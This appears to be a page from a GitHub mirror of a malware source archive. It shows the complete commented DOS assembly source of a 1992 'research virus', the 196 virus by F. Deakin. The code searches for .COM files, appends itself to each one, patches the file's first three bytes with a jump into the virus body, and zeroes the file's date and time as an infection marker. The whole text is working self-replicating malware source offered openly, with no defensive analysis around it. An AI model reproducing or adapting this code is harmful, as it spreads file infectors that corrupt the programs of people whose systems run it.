mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-19 01:46:09 +00:00
152 lines
6.5 KiB
NASM
152 lines
6.5 KiB
NASM
|
;***************************************************************************
|
|||
|
|
;* *
|
|||
|
|
;* 196 - Research Virus Version 1.01 Date. 11th April 1992. *
|
|||
|
|
;* *
|
|||
|
|
;* Written By : F.Deakin (ACE COMPUTER SYSTEMS) *
|
|||
|
|
;* *
|
|||
|
|
;* Non-Overwriting Version of 97 Virus *
|
|||
|
|
;* *
|
|||
|
|
;***************************************************************************
|
|||
|
|
|
|||
|
|
CODE Segment
|
|||
|
|
Assume CS:CODE
|
|||
|
|
|
|||
|
|
progr equ 100h
|
|||
|
|
|
|||
|
|
org progr
|
|||
|
|
|
|||
|
|
virus_size EQU vir_end-vir_start
|
|||
|
|
variable_diff EQU variables_start-next_byte
|
|||
|
|
|
|||
|
|
highlander:
|
|||
|
|
call vir_start ;call virus
|
|||
|
|
mov ah,4ch ;return to operating system
|
|||
|
|
int 21h ;thru' dos interrupt 21h
|
|||
|
|
|
|||
|
|
vir_start:
|
|||
|
|
call next_byte ;call next address
|
|||
|
|
|
|||
|
|
next_byte:
|
|||
|
|
pop ax ;get virus address
|
|||
|
|
pop di ;get program start address
|
|||
|
|
push ax ;save virus address
|
|||
|
|
|
|||
|
|
pop si ;get address of next_byte
|
|||
|
|
mov ax,variable_diff ;add difference
|
|||
|
|
add si,ax ;get variables address
|
|||
|
|
|
|||
|
|
mov ax,3 ;move to old address
|
|||
|
|
sub di,ax ;start of .com file
|
|||
|
|
add si,ax ;point to old code
|
|||
|
|
mov ax,[si] ;get two bytes from old code
|
|||
|
|
mov [di],ax ;and place at start of file
|
|||
|
|
inc si ;increment to third byte
|
|||
|
|
inc si ;
|
|||
|
|
inc di ;increment to third address to save
|
|||
|
|
inc di ;
|
|||
|
|
mov al,[si] ;get last byte of old code
|
|||
|
|
mov [di],al ;and place at start of .COM file
|
|||
|
|
mov ax,5 ;five bytes out
|
|||
|
|
sub si,ax ;back to start of variables
|
|||
|
|
|
|||
|
|
mov di,si ;which is copied to destination
|
|||
|
|
mov ax,6 ;add 6 to variables address
|
|||
|
|
add di,ax ;and save file control block
|
|||
|
|
|
|||
|
|
;search for first
|
|||
|
|
mov ah,4eh ;search for first
|
|||
|
|
xor cx,cx ;attributes to search
|
|||
|
|
mov dx,di ;point to fcb
|
|||
|
|
int 21h ;call dos
|
|||
|
|
jc return_to_prog ;if no file found return to program
|
|||
|
|
|
|||
|
|
found_one:
|
|||
|
|
mov ah,2fh ;get DTA address into es:bx
|
|||
|
|
int 21h ;call dos
|
|||
|
|
mov ax,22 ;jump over to time
|
|||
|
|
add bx,ax ;and point to it
|
|||
|
|
mov al,es:[bx] ;and place in ax
|
|||
|
|
and al,00000111b ;get seconds only
|
|||
|
|
cmp al,00h ;zero seconds?
|
|||
|
|
jnz infect_program ;if not infect program
|
|||
|
|
mov ah,4fh ;find next file
|
|||
|
|
int 21h ;call dos
|
|||
|
|
jmp short found_one ;jump back
|
|||
|
|
|
|||
|
|
infect_program:
|
|||
|
|
mov ax,8 ;jump to asciiz fcb
|
|||
|
|
add ax,bx ;add to bx
|
|||
|
|
mov dx,ax ;and move to dx
|
|||
|
|
mov ax,3d02h ;open file for writing
|
|||
|
|
int 21h ;call dos
|
|||
|
|
jnc continue ;continue if no error
|
|||
|
|
|
|||
|
|
mov ah,4fh ;search for next
|
|||
|
|
xor cx,cx ;attributes to search
|
|||
|
|
int 21h ;call dos
|
|||
|
|
jc return_to_prog ;if no file found return to program
|
|||
|
|
jmp short found_one ;jump forward if one found
|
|||
|
|
|
|||
|
|
continue:
|
|||
|
|
mov bx,ax ;transfer file handle to bx
|
|||
|
|
|
|||
|
|
;read first three bytes
|
|||
|
|
mov ah,3fh ;read file
|
|||
|
|
mov cx,3 ;number of bytes to read
|
|||
|
|
mov dx,3 ;three bytes to old_code
|
|||
|
|
add dx,si ;point to buffer to read
|
|||
|
|
int 21h ;call dos
|
|||
|
|
|
|||
|
|
mov ax,4202h ;move file pointer to end of file
|
|||
|
|
xor cx,cx ;clear cx
|
|||
|
|
xor dx,dx ;clear dx
|
|||
|
|
int 21h ;call dos
|
|||
|
|
dec ax ;decrement ax
|
|||
|
|
dec ax ;
|
|||
|
|
dec ax ;
|
|||
|
|
dec si ;save address
|
|||
|
|
mov word [si],ax ;and store
|
|||
|
|
|
|||
|
|
mov ah,40h ;write to file
|
|||
|
|
mov cx,virus_size ;set counter to write
|
|||
|
|
mov dx,offset vir_start ;point to buffer to start
|
|||
|
|
int 21h ;and write to file
|
|||
|
|
|
|||
|
|
mov ax,4200h ;move file pointer to start of file
|
|||
|
|
xor cx,cx ;clear cx
|
|||
|
|
xor dx,dx ;clear dx
|
|||
|
|
int 21h ;call dos
|
|||
|
|
|
|||
|
|
mov ah,40h ;write to file
|
|||
|
|
mov cx,3 ;set counter to write
|
|||
|
|
inc si ;point to jump address
|
|||
|
|
mov dx,si ;point to buffer to start
|
|||
|
|
int 21h ;and write to file
|
|||
|
|
|
|||
|
|
mov ax,5701h ;set date & time
|
|||
|
|
xor cx,cx ;time set to zero
|
|||
|
|
xor dx,dx ;and date
|
|||
|
|
int 21h ;and do it
|
|||
|
|
mov ah,3eh ;close file
|
|||
|
|
int 21h ;thru' dos
|
|||
|
|
|
|||
|
|
return_to_prog:
|
|||
|
|
mov ah,4ch ;terminate program
|
|||
|
|
int 21h ;exit to dos
|
|||
|
|
|
|||
|
|
variables_start:
|
|||
|
|
jump_add:
|
|||
|
|
db 0e8h,0,0
|
|||
|
|
old_code:
|
|||
|
|
db 90h,90h,90h
|
|||
|
|
fcb:
|
|||
|
|
db "*.COM",0
|
|||
|
|
variables_end:
|
|||
|
|
|
|||
|
|
vir_end:
|
|||
|
|
|
|||
|
|
CODE ENDS
|
|||
|
|
|
|||
|
|
END highlander
|
|||
|
|
|
|||
|
|
|